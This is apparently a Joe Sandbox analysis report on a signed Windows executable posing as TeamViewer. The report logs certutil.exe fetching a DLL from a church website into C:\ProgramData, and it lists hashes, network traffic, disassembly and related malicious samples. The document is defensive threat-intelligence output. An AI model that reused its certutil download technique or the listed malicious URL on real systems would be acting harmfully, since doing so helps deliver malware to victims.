https://www.christchurchmvl.org/volunteer/actXApiLib.dllC:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
christchurchmvl.org	100.26.95.170	true	true	0%, Virustotal, Browse	unknown
www.christchurchmvl.org	unknown	unknown	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.christchurchmvl.org/volunteer/actXApiLib.dll	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	cBQPecnQRp.exe	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	cBQPecnQRp.exe	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	cBQPecnQRp.exe	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	cBQPecnQRp.exe	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	cBQPecnQRp.exe	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	cBQPecnQRp.exe	false	URL Reputation: safe	unknown
https://www.christchurchmvl.org/volunteer/actXApiLib.dllC:	certutil.exe, 0000000A.00000002.777469638.0000000000930000.00000004.00000040.sdmp	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
100.26.95.170	christchurchmvl.org	United States		14618	AMAZON-AESUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	483791
Start date:	15.09.2021
Start time:	13:45:42
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 38s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	cBQPecnQRp (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.evad.winEXE@8/1@2/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.49.157.6, 92.122.145.220, 20.82.210.154, 23.55.161.168, 23.55.161.155, 23.55.161.144, 23.55.161.165, 23.55.161.159, 23.55.161.148, 23.55.161.164, 23.55.161.163, 23.55.161.162, 20.54.110.249, 40.112.88.60, 23.216.77.208, 23.216.77.209 Excluded domains from analysis (whitelisted): displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, iris-de-ppe-azsc-uks.uksouth.cloudapp.azure.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:47:28	API Interceptor	1x Sleep call for process: certutil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
100.26.95.170	http://ashevilleurological.com/library/photos/medium/index.html	Get hash	malicious	Browse	ashevilleurological.com/library/photos/medium/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-AESUS	1If1ISJz9D.exe	Get hash	malicious	Browse	100.26.95.170
	Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Get hash	malicious	Browse	52.71.133.130
	PO7420.exe	Get hash	malicious	Browse	52.4.209.250
	DLH1TwLBhW.exe	Get hash	malicious	Browse	50.16.244.183
	avxeC9Wssi	Get hash	malicious	Browse	54.57.110.152
	Quotation urgent.exe	Get hash	malicious	Browse	52.201.24.227
	KOC RFQ.doc	Get hash	malicious	Browse	52.204.77.43
	PO. 2100002_pdf____________________________________.exe	Get hash	malicious	Browse	3.223.115.185
	hhh.mp3.dll	Get hash	malicious	Browse	54.243.45.255
	xrm4z50ja9.exe	Get hash	malicious	Browse	54.83.52.76
	Swift Trf.exe	Get hash	malicious	Browse	52.201.24.227
	HjIXsbs4Jg	Get hash	malicious	Browse	54.142.124.216
	7b388AC1Fw	Get hash	malicious	Browse	44.194.145.151
	DPD.apk	Get hash	malicious	Browse	50.16.244.183
	Po2142021.xlsx	Get hash	malicious	Browse	18.213.250.117
	FlashPlayerUpdate.apk	Get hash	malicious	Browse	23.21.76.7
	QcXQmNSaSp	Get hash	malicious	Browse	18.207.108.88
	i586	Get hash	malicious	Browse	34.231.175.5
	arm	Get hash	malicious	Browse	54.133.131.54
	zoD4YzpMMG	Get hash	malicious	Browse	54.80.227.212

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	1If1ISJz9D.exe	Get hash	malicious	Browse	100.26.95.170
	FjtSz0VShQ.exe	Get hash	malicious	Browse	100.26.95.170
	DlZa7n6PjI.exe	Get hash	malicious	Browse	100.26.95.170
	L5q2UZAWzY.exe	Get hash	malicious	Browse	100.26.95.170
	SecuriteInfo.com.Trojan.DownLoader43.21162.28718.exe	Get hash	malicious	Browse	100.26.95.170
	N3sJiiIQAP.exe	Get hash	malicious	Browse	100.26.95.170
	hu5De62I6f.exe	Get hash	malicious	Browse	100.26.95.170
	cwCpwXnpg4.exe	Get hash	malicious	Browse	100.26.95.170
	SacEedFBvw.exe	Get hash	malicious	Browse	100.26.95.170
	z5k6kTAFkF.exe	Get hash	malicious	Browse	100.26.95.170
	cGJCfDNHnZ.exe	Get hash	malicious	Browse	100.26.95.170
	GCw589FSm7.exe	Get hash	malicious	Browse	100.26.95.170
	67d16a17f27f15cf21671ccb406e1e8b647aaf90c72c9.exe	Get hash	malicious	Browse	100.26.95.170
	vPzJQvH6Pg.exe	Get hash	malicious	Browse	100.26.95.170
	9f60a157b1a91cc18125825a286baaf011e65b0808be4.exe	Get hash	malicious	Browse	100.26.95.170
	P8zmYu7q7j.exe	Get hash	malicious	Browse	100.26.95.170
	P8zmYu7q7j.exe	Get hash	malicious	Browse	100.26.95.170
	Wyb6Tqwcqx.exe	Get hash	malicious	Browse	100.26.95.170
	8mFCVBuwst.exe	Get hash	malicious	Browse	100.26.95.170
	75114eeae6429f297193678413f5523eea5e25474745d.exe	Get hash	malicious	Browse	100.26.95.170
37f463bf4616ecd445d4a1937da06e19	1If1ISJz9D.exe	Get hash	malicious	Browse	100.26.95.170
	26pBOwgewg.exe	Get hash	malicious	Browse	100.26.95.170
	lMESQl89na.exe	Get hash	malicious	Browse	100.26.95.170
	JHHPuXppBJ.exe	Get hash	malicious	Browse	100.26.95.170
	kpbNbKpJfr.dll	Get hash	malicious	Browse	100.26.95.170
	mfQoul1M1Q.exe	Get hash	malicious	Browse	100.26.95.170
	k4fNN2WDpY.dll	Get hash	malicious	Browse	100.26.95.170
	SecuriteInfo.com.__vbaHresultCheckObj.22789.exe	Get hash	malicious	Browse	100.26.95.170
	w9CH3AAVOp.exe	Get hash	malicious	Browse	100.26.95.170
	Halkbank02.exe	Get hash	malicious	Browse	100.26.95.170
	DlZa7n6PjI.exe	Get hash	malicious	Browse	100.26.95.170
	7Tat85Af0C.exe	Get hash	malicious	Browse	100.26.95.170
	86jLEXtwqR.exe	Get hash	malicious	Browse	100.26.95.170
	6WtKevhqlg.exe	Get hash	malicious	Browse	100.26.95.170
	oLn3NAKPzu.exe	Get hash	malicious	Browse	100.26.95.170
	hd9uHo4dot.exe	Get hash	malicious	Browse	100.26.95.170
	47U9eIz5bG.exe	Get hash	malicious	Browse	100.26.95.170
	FaxGUO65DE.391343-Faa.html	Get hash	malicious	Browse	100.26.95.170
	FaxGUO65DE.391343-Faa.html	Get hash	malicious	Browse	100.26.95.170
	x13NYP60fd.exe	Get hash	malicious	Browse	100.26.95.170

Dropped Files

No context

Created / dropped Files

C:\ProgramData\actXApiLib.dll Download File
Process:	C:\Windows\SysWOW64\certutil.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	196
Entropy (8bit):	5.098952451791238
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezocKqD:J0+oxBeRmR9etdzRxGez1T
MD5:	62962DAA1B19BBCC2DB10B7BFD531EA6
SHA1:	D64BAE91091EDA6A7532EBEC06AA70893B79E1F8
SHA-256:	80C3FE2AE1062ABF56456F52518BD670F9EC3917B7F85E152B347AC6B6FAF880
SHA-512:	9002A0475FDB38541E78048709006926655C726E93E823B84E2DBF5B53FD539A5342E7266447D23DB0E5528E27A19961B115B180C94F2272FF124C7E5C8304E7
Malicious:	true
Reputation:	low
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.</body></html>.

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.445333009028377
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cBQPecnQRp.exe
File size:	1363448
MD5:	53817315b195e328ccc0f56b15b247c7
SHA1:	7bedab96b89d000288b573de0b5693cf49dae47f
SHA256:	ea2decec34ae3129d5da1f2035b34cff3c9f656bb4423904ef6b0a3ca5f47d5e
SHA512:	2ca834743045f742bc65da90f1b0868af54f7d703c0ef11b6deac4080bb7260ad2f9d5d0bb7b5e2a2eca5ef837c6ad976234594e931c6fbfce06c8e1d4cb1512
SSDEEP:	24576:NVPOpKJdaWTVE6LwF5oSZc1HHZZZ6OEtdU:mId1+6cjoSMHHZZZ6OEtd
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......s..r7..!7..!7..!l.. !..!l.. ...!... &..!... /..!... 1..!... ...!l.. ...!l.. 4..!... ...!7..!`..!mK1!?..!7..!...!... a..!...!6..

File Icon


Icon Hash:	78706a6ab8a180c0

Static PE Info

General
Entrypoint:	0x44f6f0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	GUARD_CF, TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5FD76A63 [Mon Dec 14 13:36:35 2020 UTC]
TLS Callbacks:	0x494680, 0x494e50, 0x494eb0
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	b5f0210fb8fa3412ad980dc8b3f3cd95

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	6/4/2021 2:00:00 AM 6/5/2022 1:59:59 AM
Subject Chain	CN=Hartex LLC, O=Hartex LLC, L=Moscow, C=RU
Version:	3
Thumbprint MD5:	5D5CA7E8D78224799E8AA101FF486137
Thumbprint SHA-1:	319517761E92EC6EEF1966A5994570D46A498093
Thumbprint SHA-256:	AC50A5D91A71BA8447EE795FF966E625AEC004E49EB24ADAA366B988686B65A5
Serial:	009B576882CCDB891FD6E4A66671F3AC71

Entrypoint Preview

Instruction
call 00007FA0C4A06EA8h
jmp 00007FA0C4A064BDh
push ebp
mov ebp, esp
pop ebp
jmp 00007FA0C4A05F16h
jmp 00007FA0C4A05EEDh
int3
int3
int3
int3
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FA0C4A06F8Fh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FA0C4A06F79h
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007FA0C4A05E9Fh
jmp 00007FA0C4A06620h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [004F4024h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [004F4024h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf2f44	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfe000	0x47b40	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x14a800	0x25f8	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x146000	0xa23c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe2c10	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xe2c64	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xbe8d8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb9000	0x24c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xf2598	0x160	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb718a	0xb7200	False	0.495668462031	data	6.785949083	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xb9000	0x3acc0	0x3ae00	False	0.322618099788	COM executable for DOS	6.31638797155	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xf4000	0x8ac8	0x6200	False	0.153698979592	data	4.61512382052	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.didat	0xfd000	0x164	0x200	False	0.41015625	data	3.13519516789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xfe000	0x47b40	0x47c00	False	0.076784353223	data	3.18159027325	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x146000	0xa23c	0xa400	False	0.605182926829	data	6.59143707944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0xfe3b8	0x1568	data	German	Germany
RT_BITMAP	0xff920	0x1d8	data	German	Germany
RT_ICON	0xffe28	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x100290	0x10a8	data	English	United States
RT_ICON	0x101338	0x25a8	data	English	United States
RT_ICON	0x1038e0	0x42028	data	English	United States
RT_DIALOG	0xfe310	0xa4	data	German	Germany
RT_STRING	0x145958	0x62	data	English	United States
RT_ACCELERATOR	0x145948	0x10	data	English	United States
RT_GROUP_ICON	0x145908	0x3e	data	English	United States
RT_VERSION	0xffaf8	0x32c	data	German	Germany
RT_MANIFEST	0x1459c0	0x17d	XML 1.0 document text	English	United States

Imports

DLL

Import

KERNEL32.dll

LoadLibraryExA, GetModuleHandleA, GetModuleFileNameA, GetSystemDirectoryA, GetModuleFileNameW, SetLastError, EnterCriticalSection, LeaveCriticalSection, GetCurrentThreadId, RaiseException, DeleteCriticalSection, GetLastError, InitializeCriticalSectionEx, HeapDestroy, HeapSize, HeapReAlloc, HeapFree, HeapAlloc, GetProcessHeap, SizeofResource, LockResource, LoadResource, FindResourceW, FindResourceExW, DecodePointer, GetProcAddress, FreeLibrary, VerSetConditionMask, VerifyVersionInfoW, IsWow64Process, GetCurrentProcess, SetSearchPathMode, SetDllDirectoryW, HeapSetInformation, SetProcessDEPPolicy, GetSystemDirectoryW, LoadLibraryExW, LoadLibraryW, GetFileAttributesW, CreateFileW, CloseHandle, WideCharToMultiByte, LocalFree, FormatMessageW, FormatMessageA, CreateTimerQueue, GetSystemInfo, VirtualProtect, VirtualQuery, GetModuleHandleW, MultiByteToWideChar, GetStringTypeW, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, EncodePointer, LCMapStringW, GetLocaleInfoW, GetCPInfo, InitializeSListHead, InterlockedPopEntrySList, InterlockedPushEntrySList, FlushInstructionCache, IsProcessorFeaturePresent, VirtualAlloc, VirtualFree, IsDebuggerPresent, OutputDebugStringW, SetEvent, ResetEvent, WaitForSingleObjectEx, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, RtlUnwind, InterlockedFlushSList, ExitProcess, GetModuleHandleExW, GetStdHandle, WriteFile, GetCurrentThread, GetFileType, FlushFileBuffers, GetConsoleCP, GetConsoleMode, SetFilePointerEx, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, WriteConsoleW, WaitForMultipleObjects, WaitForSingleObject, TerminateThread, QueueUserAPC, CreateEventA, CreateDirectoryW, InitializeCriticalSection, ReleaseMutex, CreateMutexW, OpenMutexW, GetFileSize, OpenEventA, UnregisterWaitEx, Sleep, RegisterWaitForSingleObject, GetLocalTime, DuplicateHandle, ReleaseSemaphore, SetThreadPriority, QueryPerformanceFrequency, GetThreadTimes, TryEnterCriticalSection, GetLogicalProcessorInformation, CreateThread, FreeLibraryAndExitThread, SignalObjectAndWait, GetThreadPriority, CreateTimerQueueTimer, ChangeTimerQueueTimer, DeleteTimerQueueTimer, GetNumaHighestNodeNumber, GetProcessAffinityMask, SetThreadAffinityMask, UnregisterWait, GetVersionExW, QueryDepthSList

Version Infos

Description	Data
LegalCopyright	TeamViewer Germany GmbH
InternalName	TeamViewer
FileVersion	15.13.6.0
CompanyName	TeamViewer Germany GmbH
LegalTrademarks	TeamViewer
ProductName	TeamViewer
ProductVersion	15.13.6.0
FileDescription	TeamViewer
OriginalFilename	TeamViewer_Note.exe
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
German	Germany
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2021 13:47:27.926995993 CEST	49772	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:27.927061081 CEST	443	49772	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:27.927170992 CEST	49772	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:27.931725025 CEST	49772	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:27.931766033 CEST	443	49772	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:28.359617949 CEST	443	49772	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:28.359714031 CEST	49772	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:28.408446074 CEST	49772	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:28.408477068 CEST	443	49772	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:28.408838034 CEST	443	49772	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:28.473718882 CEST	49772	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:29.485140085 CEST	49772	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:29.527137995 CEST	443	49772	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:29.625088930 CEST	443	49772	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:29.641112089 CEST	49772	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:30.275280952 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:30.275331020 CEST	443	49773	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:30.275847912 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:30.276878119 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:30.276904106 CEST	443	49773	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:30.557873964 CEST	443	49773	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:30.558068991 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:31.136315107 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:31.136341095 CEST	443	49773	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:31.136692047 CEST	443	49773	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:31.136763096 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:31.137299061 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:31.179140091 CEST	443	49773	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:31.276369095 CEST	443	49773	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:31.276463985 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:31.276484013 CEST	443	49773	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:31.276531935 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:31.291244984 CEST	49773	443	192.168.2.4	100.26.95.170
Sep 15, 2021 13:47:31.291408062 CEST	443	49773	100.26.95.170	192.168.2.4
Sep 15, 2021 13:47:31.291496038 CEST	49773	443	192.168.2.4	100.26.95.170

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2021 13:46:34.089144945 CEST	55854	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:46:34.133929968 CEST	53	55854	8.8.8.8	192.168.2.4
Sep 15, 2021 13:46:36.824444056 CEST	64549	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:46:36.863562107 CEST	53	64549	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:10.051311970 CEST	63153	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:10.079045057 CEST	53	63153	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:25.735857010 CEST	52991	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:25.764188051 CEST	53	52991	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:27.737127066 CEST	53700	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:27.914834023 CEST	53	53700	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:30.207760096 CEST	51726	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:30.271061897 CEST	53	51726	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:31.987982035 CEST	56794	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:32.026420116 CEST	53	56794	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:32.757365942 CEST	56534	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:32.811314106 CEST	53	56534	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:33.307559967 CEST	56627	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:33.334069014 CEST	53	56627	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:33.695559978 CEST	56621	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:33.698770046 CEST	63116	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:33.735899925 CEST	53	56621	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:33.754201889 CEST	53	63116	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:34.294879913 CEST	64078	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:34.367065907 CEST	53	64078	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:35.136635065 CEST	64801	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:35.165318966 CEST	53	64801	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:35.826641083 CEST	61721	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:35.885911942 CEST	53	61721	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:36.763900995 CEST	51255	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:36.793672085 CEST	53	51255	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:37.570334911 CEST	61522	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:37.610944033 CEST	53	61522	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:38.181309938 CEST	52337	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:38.214015007 CEST	53	52337	8.8.8.8	192.168.2.4
Sep 15, 2021 13:47:49.626492977 CEST	55046	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:47:49.663325071 CEST	53	55046	8.8.8.8	192.168.2.4
Sep 15, 2021 13:48:23.738024950 CEST	49612	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:48:23.775444031 CEST	53	49612	8.8.8.8	192.168.2.4
Sep 15, 2021 13:48:25.384879112 CEST	49285	53	192.168.2.4	8.8.8.8
Sep 15, 2021 13:48:25.411534071 CEST	53	49285	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 15, 2021 13:47:27.737127066 CEST	192.168.2.4	8.8.8.8	0xbe2e	Standard query (0)	www.christchurchmvl.org	A (IP address)	IN (0x0001)
Sep 15, 2021 13:47:30.207760096 CEST	192.168.2.4	8.8.8.8	0xefdf	Standard query (0)	www.christchurchmvl.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 15, 2021 13:47:27.914834023 CEST	8.8.8.8	192.168.2.4	0xbe2e	No error (0)	www.christchurchmvl.org	christchurchmvl.org		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 13:47:27.914834023 CEST	8.8.8.8	192.168.2.4	0xbe2e	No error (0)	christchurchmvl.org		100.26.95.170	A (IP address)	IN (0x0001)
Sep 15, 2021 13:47:30.271061897 CEST	8.8.8.8	192.168.2.4	0xefdf	No error (0)	www.christchurchmvl.org	christchurchmvl.org		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 13:47:30.271061897 CEST	8.8.8.8	192.168.2.4	0xefdf	No error (0)	christchurchmvl.org		100.26.95.170	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.christchurchmvl.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49772	100.26.95.170	443	C:\Windows\SysWOW64\certutil.exe

Timestamp	Direction	Data
2021-09-15 11:47:29 UTC	OUT	GET /volunteer/actXApiLib.dll HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: www.christchurchmvl.org
